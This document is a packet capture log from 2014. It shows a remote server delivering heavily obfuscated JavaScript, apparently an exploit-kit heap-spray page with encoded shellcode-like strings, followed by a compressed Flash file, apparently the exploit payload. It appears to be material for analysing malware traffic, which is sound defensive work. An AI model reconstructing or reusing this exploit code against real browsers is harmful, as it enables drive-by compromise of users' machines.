Feb 27, 2014 17:54:26.718673944 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 56 73 5a 48 2a 2f 3d 3d 0a 31 7c 7c 53 36 4d 0a 3d 3d 20 0d 09 2f 2a 59 4c 6d 39 69 6a 34 52 73 48 69 65 57 48 39 55 46 32 38 4d 2a 2f 32 29 26 26 6b 4e 2f 2a 32 78 6c 6a 65 74 77 48 56 42 4f 5a 6f 58 6d 6f 6b 62 75 73 32 35 78 71 46 41 70 76 53 Data Ascii: VsZH/==1\|\|S6M== /YLm9ij4RsHieWH9UF28M/2)&&kN/2xljetwHVBOZoXmokbus25xqFApvSopak1z9mC/==1){ return 1} /zaO3K3JSr62q7DEfmNQ1PI3cr*/	172
Feb 27, 2014 17:54:26.910969973 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 65 6c 73 65 20 69 66 28 67 31 58 0a 3d 3d 0a 36 26 26 53 36 4d 0a 3d 3d 0a 30 26 26 6b 4e 20 0a 0a 3d 3d 2f 2a 49 67 6b 4a 4f 64 39 45 50 37 57 55 55 52 72 58 46 4d 34 39 51 43 6f 70 46 31 2a 2f 31 29 7b 20 0b 09 20 20 20 20 20 20 20 72 65 74 75 Data Ascii: else if(g1X==6&&S6M==0&&kN ==/IgkJOd9EP7WUURrXFM49QCopF1/1){ return 2} else if(g1X==/WT7x3XyYF7XT5qzOEobKorRjOMhq90/6&&S6M/22ygSPwpoBoZyEOiXNyLSVRIgfGYfM/==/o2365P0LI/1&&kN == /*3RRJhBROGdDr69K1CSVZcg09nA4jkV	174
Feb 27, 2014 17:54:26.910978079 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 76 61 72 20 6c 73 33 69 3d 30 3b 6c 73 33 69 3c 31 30 32 34 3b 6c 73 33 69 2b 2b 20 29 7b 2f 2a 74 52 6f 64 48 71 44 48 44 62 78 73 66 75 42 74 33 2a 2f 74 72 79 7b 0a 53 38 39 51 39 69 34 63 6f 5b 6c 73 33 69 5d 5b 49 4f 43 65 61 52 5d 7d 0a 63 Data Ascii: var ls3i=0;ls3i<1024;ls3i++ ){/tRodHqDHDbxsfuBt3/try{S89Q9i4co[ls3i][IOCeaR]}catch(vy){}/1Oj7TW087m2Q0URNeN4cJNZMT82RYnaISvikAwRbloQ1xuOZZ1/if(ls3i== 768){ /D82Kd/Yc8JTA4x7G387Vz2[nBuInB]=JY9XJ('5a725c71441179434c4b644e6657096d5a5	175
Feb 27, 2014 17:54:26.910980940 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6a 37 30 32 55 34 78 4d 57 5a 56 44 6d 78 6d 72 36 51 55 69 69 75 2a 2f 66 75 6e 63 74 69 6f 6e 20 72 24 4f 36 38 34 28 29 7b 20 76 61 72 20 24 47 66 65 2c 4b 63 7a 2c 4b 72 68 78 37 69 3b 69 66 28 21 59 6b 4e 69 28 29 29 7b 2f 2a 31 63 33 6f 59 Data Ascii: j702U4xMWZVDmxmr6QUiiu/function r$O684(){ var $Gfe,Kcz,Krhx7i;if(!YkNi()){/1c3oYUA6MKQln11ndqhImscKcw1cPm8c/ return } var CP7=HAXB();if(CP7 ==0){ /Ppy4hwNeud1YROb*/ return } var J8k=LkXxwy();if(!J8k){	177
Feb 27, 2014 17:54:27.007216930 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 2f 2a 32 48 34 65 54 64 7a 39 76 55 73 35 70 52 32 51 34 62 2a 2f 29 7d 20 09 0d 50 76 67 44 73 3d 55 6c 28 27 25 62 61 25 30 30 25 30 33 25 66 65 25 37 66 25 66 66 25 31 32 25 63 32 25 31 34 27 20 09 29 7d 20 0d 09 20 76 61 72 20 51 75 3d 6e 75 Data Ascii: /2H4eTdz9vUs5pR2Q4b/)} PvgDs=Ul('%ba%00%03%fe%7f%ff%12%c2%14' )} var Qu=null; var dIxz4=null; var Kcz=null; var YDWhT=null; var eiVDAW=null; var ZqN=wZ9.cT;M2Octu=wZ9.itUs;while(ZqN<M2Octu){ /*VMwnmmxllHZwCGpssXAtmgnFwBBsD4ArAmUn08Ltc	178
Feb 27, 2014 17:54:27.007226944 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 29 29 21 3d 20 2d 31 29 7b 2f 2a 36 47 32 38 35 7a 47 63 6c 46 77 76 38 2a 2f 64 49 78 7a 34 3d 5a 71 4e 2b 57 46 5a 7d 2f 2a 4e 62 6f 52 53 74 6b 73 69 49 79 50 4f 69 54 41 70 6a 4a 34 4e 5a 69 69 48 2a 2f 69 66 28 21 59 44 57 68 54 26 26 28 57 Data Ascii: ))!= -1){/6G285zGclFwv8/dIxz4=ZqN+WFZ}/NboRStksiIyPOiTApjJ4NZiiH/if(!YDWhT&&(WFZ=jZN.indexOf(BG ))!= -1){YDWhT=ZqN+WFZ} } if(RyL&&EnOy&&HJ06&&($Gfe\|\|Krhx7i)){ /1nculeq1EyL/break } /*CcCi7pGN0yU28zExN8h1wOR78aUzMbLGb0ifTFujkbjMtK	180
Feb 27, 2014 17:54:27.007230043 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 51 35 51 44 69 35 65 79 4f 63 6a 41 51 4d 4d 6d 50 33 6b 54 49 2a 2f 7d 0a 66 75 6e 63 74 69 6f 6e 20 51 54 5a 34 64 24 28 29 7b 20 76 61 72 20 24 30 46 3d 45 72 6a 58 64 47 28 5a 32 65 2f 2a 42 59 65 70 42 54 7a 6a 55 4c 48 42 69 66 61 52 38 39 Data Ascii: Q5QDi5eyOcjAQMMmP3kTI/}function QTZ4d$(){ var $0F=ErjXdG(Z2e/BYepBTzjULHBifaR890A0TtZeSmrQSVDUuwiPjeNZ6/);if(!$0F){ /yZmFJ42RvbpSd6CeEdqHe/ return false} /zo7XTez0VKKZK9xt91eNGaCYPGC6PTwi*/ var cI=Ul('%8b%01%ff%50%04'); va	181
Feb 27, 2014 17:54:27.007647991 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 20 20 4a 59 39 58 4a 28 27 34 65 31 37 32 63 37 34 34 36 35 37 36 38 35 35 34 39 34 65 36 61 30 63 37 34 34 33 30 35 36 38 35 31 34 64 34 65 36 30 35 65 37 34 31 31 35 37 36 38 30 37 34 39 34 65 Data Ascii: return JY9XJ('4e172c7446576855494e6a0c74430568514d4e605e7411576807494e645f744f7368544c4e6256' /LZJjKI3FY8RwdbbPvgQogEHmRy/,'6b526e5177314d6379');})()+NwhNmY+(function(){	181
Feb 27, 2014 17:54:27.055294037 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 4a 59 39 58 4a 28 27 34 65 31 31 35 39 37 34 34 37 30 37 27 2f 2a 69 56 2a 2f 2c 27 36 62 35 32 36 65 35 31 37 37 33 31 34 64 36 33 37 39 27 20 0d 20 29 3b 7d 2f 2a 61 31 73 36 52 75 7a 5a 78 4a 71 65 74 Data Ascii: return JY9XJ('4e1159744707'/iV/,'6b526e5177314d6379' );}/a1s6RuzZxJqetT81RFZFwifxknLZt1bwfg09MBp/)()+wpj2FF(Nj )+JY9XJ('4e6a0a744104' /oZuI5e7EWB6XBCM0LICI/,'6b526e5177314d6379' /2C3o7Y25EC2jbX1vRgvCgnB0npddTtU8j/)+SBTt+(fu	183
Feb 27, 2014 17:54:27.055301905 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6e 64 65 78 4f 66 28 48 74 6f 4b 2e 63 68 61 72 41 74 28 42 44 52 4c 33 2b 2b 20 2f 2a 53 68 38 78 54 55 72 44 4a 6c 53 53 67 33 54 62 58 6e 78 53 57 5a 68 69 6f 36 42 4a 6b 62 35 46 5a 6b 76 4e 50 78 78 48 38 76 70 74 37 36 44 2a 2f 29 2f 2a 77 Data Ascii: ndexOf(HtoK.charAt(BDRL3++ /Sh8xTUrDJlSSg3TbXnxSWZhio6BJkb5FZkvNPxxH8vpt76D/)/wazrZ5ahs1mIY38ElWEqj5gSEgKH/);$2=xJ.indexOf(HtoK.charAt(BDRL3++ ) );Lsk4=xJ.indexOf(HtoK.charAt(BDRL3++ ));J3=xJ.indexOf(HtoK.charAt(BDRL3++ /*QYbktxn5XN	184
Feb 27, 2014 17:54:27.055414915 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 2b 76 4b 41 46 46 45 28 43 65 62 6d 4b 2b 38 34 20 0d 0a 29 2b 76 4b 41 46 46 45 28 34 32 39 34 39 30 32 37 38 34 20 0b 0d 29 2b 76 4b 41 46 46 45 28 31 30 39 34 37 39 35 35 38 35 2f 2a 50 41 70 52 36 43 4d 6e 41 4e 63 79 65 32 45 63 30 6c 37 57 Data Ascii: +vKAFFE(CebmK+84 )+vKAFFE(4294902784 )+vKAFFE(1094795585/PApR6CMnANcye2Ec0l7WLcGwR4yi0mhrTNbG9/)+S7zoY(rd )+sd/tes/);S89Q9i4co[IXU3W1].marginLeft+=NeAf; var bJB=Yc8JTA4x7G387Vz2[nBuInB][FSD].item(68/*fqeLRZtxQtigo59sTRmZuw7utHmdMQP5rl	185
Feb 27, 2014 17:54:27.103487015 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 75 72 6e 20 20 20 20 20 20 20 20 20 7d 2f 2a 56 6e 4e 67 54 56 62 75 69 43 4c 56 53 4a 62 57 46 4a 63 4b 4b 67 5a 58 68 55 50 42 39 44 5a 71 45 55 73 6c 4b 36 76 70 2a 2f 69 66 28 21 69 69 71 28 29 29 7b 20 0b 0d 2f 2a 79 35 55 4c 68 54 55 61 55 Data Ascii: urn }/VnNgTVbuiCLVSJbWFJcKKgZXhUPB9DZqEUslK6vp/if(!iiq()){ /y5ULhTUaU/ return }/miEh7CceXQjboQbkdLg/if(!QTZ4d$()){ /H2T/ return }/E2iomITzz/ var v5ZZ80=WI(WE );if(!v5ZZ80){/vjdht1Tt1Q8XQFJghUMOTifXN0D/	186
Feb 27, 2014 17:54:27.103496075 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 2a 4f 79 5a 49 71 52 58 58 49 72 52 6f 43 6f 64 78 54 65 4e 54 34 2a 2f 29 7d 20 09 69 66 28 58 66 2e 6c 65 6e 67 74 68 3e 32 30 29 20 20 20 20 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 3b 77 68 69 6c 65 28 58 66 2e 6c 65 6e 67 74 68 3c 32 30 29 Data Ascii: OyZIqRXXIrRoCodxTeNT4/)} if(Xf.length>20) return ;while(Xf.length<20){/B2kIfsqHvdxJCOVfMSxlJqRlEWQqWn2/Xf+=Ul('%00' )}/qXB63tUVAb/while(Ujboq.length<y05Wpz){/fMmzSJzGtce58bN4sjVorX8CYp3PIt/Ujboq+=dI5[sW](Math['f'+'loor'](Ma	188
Feb 27, 2014 17:54:27.103501081 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 2d 74 6f 67 67 6c 65 72 73 22 20 62 69 3a 74 72 61 63 6b 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 Data Ascii: <div class="site-header-togglers" bi:track="false"> <a href="#mscom-navigation" id="toggle-menu" class="toggle toggle-menu" title="Toggle Navigation" bi:type="menu"><span class="icon-menu" aria-role="hidden"></span> <span	189
Feb 27, 2014 17:54:27.103858948 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 73 65 74 6c 61 6e 67 22 20 76 61 6c 75 65 3d 22 65 6e 2d 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 Data Ascii: <input type="hidden" name="setlang" value="en-us" /> <input type="hidden" class="search-source" name="source" value="0" /> <div class="input-wrapper"> <label for="ctl00_ctl16_ctl00_ctl00_q" class="screen-re	190
Feb 27, 2014 17:54:27.103949070 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: li> </li> </div> </div> </div> </li> </ul> </div></nav></header><main class="site-main" role="main"><div bi:type="slideshow"	191
Feb 27, 2014 17:54:27.176067114 MEZ	1049	80	192.168.0.18	207.46.206.30	GET /pki/mscorp/crl/mswww(6).crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: mscrl.microsoft.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	192
Feb 27, 2014 17:54:27.554409027 MEZ	80	1048	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:27 GMT Content-Type: application/x-shockwave-flash Connection: keep-alive Content-Length: 74205 Cache-Control: no-cache, must-revalidate, max-age=1 Expires: Sat, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 26 Jul 2040 05:00:00 GMT Pragma: no-cache Data Raw: 43 57 53 0e eb 7e 01 00 78 da 5c b1 03 b0 30 41 9b ac 79 6c db b6 6d db b6 6d db e6 77 68 db b6 6d db b6 6d 63 ff 99 98 bb 73 77 2b a2 23 ea cd ca 7c 2a bb db 03 00 54 1f 00 00 3e 1f 00 00 03 10 40 04 11 13 00 00 60 80 1f c0 1f 79 02 10 00 80 c7 c9 c4 8c 4b 49 44 8c c0 c3 d6 c6 ce 99 eb 3f 13 2f b9 85 8b 8b 03 17 3d bd bb bb 3b 9d 3b 33 9d bd 93 39 3d 23 27 27 27 3d 03 13 3d 13 13 ed 7f 1c b4 ce 9e 76 2e 86 1e b4 76 ce c4 e4 7c ff 0d 10 31 75 36 76 b2 74 70 b1 b4 b7 23 f8 af d9 d0 c8 de d5 85 97 9c fc 7f a8 Data Ascii: CWS~x\0Aylmmwhmmcsw+#\|*T>@`yKID?/=;;39=#'''==v.v\|1u6vtp#	193
Feb 27, 2014 17:54:27.555162907 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 26 c6 ff 2f d4 c1 d5 c9 e6 bf 91 26 c6 f4 a6 36 a6 b6 a6 76 2e ce f4 8c 74 8c ff 01 99 18 73 99 d9 3b d9 1a ba f0 19 3a 38 d8 58 1a 1b fe 17 8e de 83 d6 d9 c2 de d8 da dd d0 cd 94 d6 cc c6 d0 d9 82 87 fe 7f 8d ff 95 71 b1 74 b1 31 e5 13 34 b1 37 Data Ascii: &/&6v.ts;:8Xqt1472%1 `!<_i_i:c{[z'{Wt2o_{L]/j13w547:110110GQDn{@	194
Feb 27, 2014 17:54:27.555243015 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 81 48 ba 9b 4f a6 b4 5b e2 a0 60 e5 b6 39 02 10 c4 3c c4 09 47 b3 e6 fd 3e 23 df 00 5e 1d 16 10 71 68 78 fd 69 d2 f8 12 5c e5 cc 20 58 26 53 da 60 3e 96 47 9f a4 e2 8b b1 22 f3 d8 99 d8 a7 e4 55 dc e5 7e ed 63 a0 21 47 38 40 aa 73 be a8 ff df 20 Data Ascii: HO[`9<G>#^qhxi\ X&S`>G"U~c!G8@s pOXztcLUDr=:yOMPe[*K678\Nh+2r\|&~k%lOB_v^$Jr#G:EUc-;NtZCFN};h<2Z_	195
Feb 27, 2014 17:54:27.602963924 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 7d 02 7d 47 49 c9 21 f8 94 39 88 4e 00 06 25 41 67 93 df c1 c7 e0 57 dd c7 f5 4c 3c f2 96 37 e6 58 aa 70 5a d3 95 d0 89 1e 7e 32 df 09 69 3f 7f 40 71 d6 f7 a6 fb 84 ba 03 c8 a6 4c 8b 53 17 38 5a 81 81 66 fc d9 d2 11 b3 eb 8b d7 50 71 6c f0 58 f4 Data Ascii: }}GI!9N%AgWL<7XpZ~2i?@qLS8ZfPqlXqi]#W+Wmk{SVr]fNYUV}o\|XW-yhs@+c\|\M=2T-C6v{en1(fZ<=%=8Sf;B-S	197
Feb 27, 2014 17:54:27.603074074 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: dc c8 21 04 8d a1 9b a6 f2 c7 ed a7 0a 61 5f 1e 7b a8 ed 2b d0 5b 75 d8 c5 25 bd 39 33 a2 af 39 56 8f ae 1e 19 74 5f 51 2b 12 ac c7 85 94 80 89 70 67 1f 6b f3 12 d3 fa 9a 6f fa 7d 09 1a 98 25 2d 87 5b 7f 58 83 9a 70 81 1c f1 e9 aa 9f 5c ef f5 9f Data Ascii: !a_{+[u%939Vt_Q+pgko}%-[Xp\7ab061E!n0:9aW\WY}5upyc[( 5rw(4pqZpleEcceK\|STO5c=Fl`VBfcK`R:-Aoxs	198
Feb 27, 2014 17:54:27.611202955 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 09 31 e3 69 55 b2 32 7a e4 5d 4a 9e b4 28 d2 3b 04 6d 6c a5 7b 49 de bd 9d ab 2f 52 b8 e3 32 cb e3 e5 07 23 69 8d 3c 84 43 3e 4f 63 d9 15 6d 18 43 f7 b4 b4 b5 cc 52 c8 78 55 49 7e 74 2e 2b 21 75 d4 6c f2 10 4f e0 4b 53 55 54 bf 28 ff f2 2c 40 12 Data Ascii: 1iU2z]J(;ml{I/R2#i<C>OcmCRxUI~t.+!ulOKSUT(,@JoKF4L?O@m[n<>FP[tv"pr\8[=vxD{W>lm;3+2$:3bWe](nH+;F!aAt*_#"(fh^T	199
Feb 27, 2014 17:54:27.611299992 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: e9 4d 60 65 72 99 b9 72 d5 ca 86 92 6c 2c ab f8 94 78 a4 37 5a e6 e7 50 06 c9 c8 df 9f c7 bf dd c7 36 9c 99 b7 79 e1 d7 57 bb 5d 0d a0 da 24 48 d3 3d ef 6b 7c 45 a7 8f a2 af 5f ef 7e 63 bf f0 e3 13 c3 09 c2 2b eb 14 a0 ce 61 a9 8d 3e 04 75 e3 f7 Data Ascii: M`errl,x7ZP6yW]$H=k\|E_~c+a>u=E2:YL>DJk\dD>%K"ivDv@:;wu'B.AP;NrD8kHB53-a{h*dU&	200
Feb 27, 2014 17:54:27.611413956 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 18 21 47 da dc 2d 9c 6c 8d 2d 5c 08 51 a9 e4 97 fd 4b 71 6a bc c0 f8 61 47 3d 7e 06 52 d8 6e 7d 41 c4 45 aa 56 b9 49 30 d0 17 80 f2 8e 69 bd 38 bb 87 ba 8a 1c 13 05 a6 22 0a 18 62 67 f4 ab b6 34 2d 3a d8 a9 6f e3 4a bf 24 b8 eb 43 e5 bf a5 df 64 Data Ascii: !G-l-\QKqjaG=~Rn}AEVI0i8"bg4-:oJ$Cd3CMnvAt}>CfZhFn2OyWeRPrypeE\|fk@`Y%btM.jkt86%[leoN9mn1mE.+R\@*%	201
Feb 27, 2014 17:54:27.611532927 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 13 e6 70 0c 45 50 4e c3 54 5b 61 9a 98 8a 06 91 ce d2 83 7d 73 6f 0f 92 30 a7 db 94 38 0d 07 b1 8a 5f 5d c8 aa 84 6f 9f 4b 69 cd 55 b2 79 7a 84 52 66 3a 24 67 6a 3f 90 92 d3 06 13 94 38 0b a9 70 47 ce 10 d0 d8 1f cf ae 0a 86 3f 64 0a 9f f7 74 2d Data Ascii: pEPNT[a}so08_]oKiUyzRf:$gj?8pG?dt-cz3f.Ix1wuQ^pl_/3_jn.)LvtEy^Rr\|LTAttX4y,0j82Ib5+o#Bd<f,:1IkAX~i,	202
Feb 27, 2014 17:54:27.651460886 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: c9 b7 14 89 d0 f7 51 74 58 cf fa fe 83 c7 5d e2 18 d3 15 23 b1 c9 4c 82 ab bb a5 5c 26 85 06 2a 40 2c c8 d2 30 e2 63 da 15 5c b4 10 58 34 c0 96 dd 0f de 17 1f 00 25 45 ce 13 2e 1a 6d 8c 50 48 a8 c6 d1 64 97 e3 c7 28 ee 74 82 37 ad f1 87 c9 38 33 Data Ascii: QtX]#L\&*@,0c\X4%E.mPHd(t783}>}Ex[Y7,)&l=_?}A;lC3xTN@tg0\|,c]o^/X^Vo_"(E6UD"\Hx[[51Zq0IPHO`1	203
Feb 27, 2014 17:54:27.651577950 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 05 de aa e5 25 5d 6c 10 8d 78 bc 28 74 7a 74 f0 aa 46 66 7f f9 e1 a2 0d 6e d2 2e fd f0 db bb 23 46 8d 60 10 30 bd 09 de 5f 06 75 3d 6a bb c4 dc 3e 77 78 a8 0d b1 91 1b f5 d7 d4 5b 23 61 d3 eb 61 64 96 2c ab 58 1c 06 16 1f aa d2 b4 69 1c 16 72 b5 Data Ascii: %]lx(tztFfn.#F`0_u=j>wx[#aad,XirVx{vk`[WTZLI^nOE]z{2jh=]{$\|5V)\|UsQ]>^2o7LP<8HM6WvaJJ]-Q:T;E\6L	204
Feb 27, 2014 17:54:27.796641111 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 5b e1 c9 34 6a 0f 66 cb cf 0f 6c 82 5e c4 87 1c 1a b9 50 ee 02 b6 d4 c2 94 ff 6d 32 23 12 db 13 76 9a 3b a6 82 a4 94 53 8b 6e e3 51 d9 97 6f a6 14 45 50 9a 29 47 d3 4e d0 8e 96 40 e3 35 f2 8d bd 4f 42 1d fc c0 63 22 cf b6 f4 80 7d ef 45 0f 48 66 Data Ascii: [4jfl^Pm2#v;SnQoEP)GN@5OBc"}EHfr&up7CGG6Yo^axs`Mu+pe'l/aL;QD.c}iG6;!WlGK#t=b 'j[* *ib$0ZA><)	206
Feb 27, 2014 17:54:27.989208937 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 15 25 0f c2 44 d0 3d 9a e4 fc eb d3 40 6e 1a d8 27 f0 63 7e 85 2d 8f 38 c6 ca e3 d8 a6 ea ec 07 77 b1 09 ac 41 40 63 a3 40 d5 bd 6f 8a cb 54 67 f6 da 3b 2b e8 45 c6 fa 1c 78 3b 98 02 e8 cf 63 16 47 ff 4e b6 28 66 61 58 21 52 3c d6 9f 33 7f 31 8b Data Ascii: %D=@n'c~-8wA@c@oTg;+Ex;cGN(faX!R<318-3mo:(8Q0^b aM3UJ^x%0i\|yh4RF}Mt?/'d$E2,I&z{`^~Op;c`c	207
Feb 27, 2014 17:54:27.989219904 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 5e 71 16 09 0d e1 af 29 63 60 2d 18 79 29 e6 60 6d 02 e8 5d 30 f5 ad 4a 80 f4 58 07 80 e1 b2 bb 8d 71 a9 46 7c c5 7e e2 81 4b 72 f7 72 f1 81 21 3a 37 d2 26 f5 72 9c 54 4f 13 a2 a0 04 da 03 b8 c4 75 b3 09 99 50 64 09 39 d3 8b 84 9f 12 e3 56 5e ad Data Ascii: ^q)c`-y)`m]0JXqF\|~Krr!:7&rTOuPd9V^,7K6DWR9;MI4{:)c_ZENsu6N;h7 9{R#[CG>l-]^b^$;@S/)@h{8	209
Feb 27, 2014 17:54:27.989233971 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 37 26 5d a5 9d d2 42 13 ce 0d 73 91 d6 c5 02 d1 90 08 b1 5f 0d 06 20 5a 79 b2 d5 56 2d 5a 6f 2f 44 f2 fb e2 62 c7 a4 d0 65 c8 68 fc ad 0b 79 d7 93 7e e5 47 3a 06 4a 84 25 cd 06 3b 3e 03 6d bb e4 85 7d 34 e7 45 33 5e db bb 57 65 f3 6a af ee 85 5b Data Ascii: 7&]Bs_ ZyV-Zo/Dbehy~G:J%;>m}4E3^Wej[5_0~34C}pLW?aEYdQrd$edH5f@ng.%zss9}g&ZJ#f]Cbg@G/}Y`<\|O&V}S:[J	210
Feb 27, 2014 17:54:27.989353895 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 67 da db 9f 46 ec 49 c2 01 68 bc 8a e0 69 72 e1 f1 4c 8f 3d 0f a4 0d 45 91 f5 b7 99 e5 81 fb 4b 91 a0 57 b9 eb a8 51 97 39 dd 88 5c 7e b9 0c 78 47 42 0a da e8 b7 de cd f2 f8 62 9e bf 4b 7e 8b 7a 1a d6 6b 09 5f 50 0b e6 d7 70 3e d0 9f 7c 27 1d 35 Data Ascii: gFIhirL=EKWQ9\~xGBbK~zk_Pp>\|'54sGBe{i},Kt]}cOyb=>3\|i)0E!E\2Vq:A71)%7JX3l.1Vx#~\|NV8LuW"PfA	211
Feb 27, 2014 17:54:27.989366055 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 87 61 64 85 3c 69 b9 9c bb 7f 6a c8 fa 90 bb 17 ee 85 c5 d4 ed 1c 75 5a 17 3b 0f 17 e1 31 ce af 30 7a 34 90 cb ac fb 31 32 22 10 1b d1 7f 45 f5 0a dd d8 a0 d7 ae 90 c8 08 b6 7d 43 dd 05 7d 06 bc de 9e b7 6d 1b 08 f2 01 94 48 bd 36 7a 62 a7 ef a2 Data Ascii: ad<ijuZ;10z412"E}C}mH6zb.19]8;J*ta\B8;@3r7,z1G?!k.pz~Da1q"Hk6px{CZIQQ&j82'x6%!/8$UEA<saAM#R@	213
Feb 27, 2014 17:54:27.989372015 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 4d a8 82 46 9a 79 3a 58 40 8f d7 81 ab 7a 6a fe 4b cc 93 bc 59 64 16 c2 22 df c2 2a fd 6f 85 06 c3 9a 23 af 83 16 ca 79 c1 8c 61 4e 55 d9 80 2f e1 bb 16 d5 37 62 62 9c f9 7c 0a 40 f0 af 35 14 18 5e bd 72 55 7e 6e 1e 8d c4 55 35 4e e0 54 df 61 9f Data Ascii: MFy:X@zjKYd"*o#yaNU/7bb\|@5^rU~nU5NTagL~GlOq;a9\F9k)V{qQ!gPDn_M4bVXbxEeQ;G0i,0p2aSv,e,(SR3PL#a3Zuj10\|agc	214
Feb 27, 2014 17:54:27.989502907 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 1a b9 1e 26 8c 04 6d 13 a7 21 c2 28 32 17 65 9b 82 99 7e e8 73 cf 09 55 f7 c9 88 26 68 17 54 da 0b 4f 3a e4 29 af 85 e6 10 32 5e 67 aa 68 be 70 26 85 12 09 e4 0a c6 34 56 95 a1 a2 4f ac e9 30 b6 aa 93 85 4f e5 ae d3 2c 2f 32 2e fd f3 65 4d b1 05 Data Ascii: &m!(2e~sU&hTO:)2^ghp&4VO0O,/2.eM1]}"ug1f5.pTBb"H?9yGe^L49{R9&m1BIfo4M57wK%Ju}qJPm<^,0F/J@+L	215
Feb 27, 2014 17:54:28.229827881 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 11 61 5a af a7 64 30 bb 17 54 c4 2e 84 0f 47 37 2f 3c f4 25 c4 72 00 ac 0b 91 90 f4 3d 30 21 2e 81 b1 d9 a9 7f 05 a5 30 d8 e2 4b e5 10 7b 88 9d ff e8 71 8a 1b f6 cb ea e0 e0 34 fa 13 dc f1 eb 93 fb 57 29 dd ed 18 b9 39 6d eb 5e e1 60 06 d4 43 bc Data Ascii: aZd0T.G7/<%r=0!.0K{q4W)9m^`C(j__Jac+Q5OV5TjDA;dy},<r`S)@.ikL0#J^,<8;\|w,`?^1S$ZtfQr.0&$$<Gd	217
Feb 27, 2014 17:54:28.229846001 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 8e 99 0e ca 5c 3b 6a 4d c2 d3 b6 77 a9 48 59 30 69 37 b7 97 53 da 8a 22 26 c2 ed f5 c0 51 0d e9 8f f4 b3 e9 d4 45 d4 73 bf f1 ca 97 1c 7b b4 bd c2 60 30 0c 60 44 08 32 ab 04 82 d0 1a e3 bf 49 81 1c 3a 2e c2 48 5a 33 6d 07 72 23 eb a6 5d 36 65 a5 Data Ascii: \;jMwHY0i7S"&QEs{`0`D2I:.HZ3mr#]6eH6l+/"+<D}i$ih$e^-pc9QT1<k%.ggdHQXNBseP-I9eWGh+\o:e*XjN e	218
Feb 27, 2014 17:54:28.229849100 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 30 d8 52 f6 fc ad 17 08 5a d5 94 06 e3 a3 d3 e2 b7 bb 2a 17 f3 17 e7 f6 3e fc 56 d0 12 cd 9b 5e 0c 47 15 9b 2a 9a fa cf e0 8e 2b e6 81 d7 9c 77 66 34 90 a0 de af 6d 1b 39 69 10 19 21 f2 fa dd 32 37 77 0b 59 d5 5f bd ed 48 8e 4a 2c 9b 81 ad 16 9d Data Ascii: 0RZ>V^G+wf4m9i!27wY_HJ,){IPN4mw2X)}8m52aIzQX.\|lm\|Pz5dp:OYFv0@&=ED>Kvn{\C%SwZ@hDLgO	219
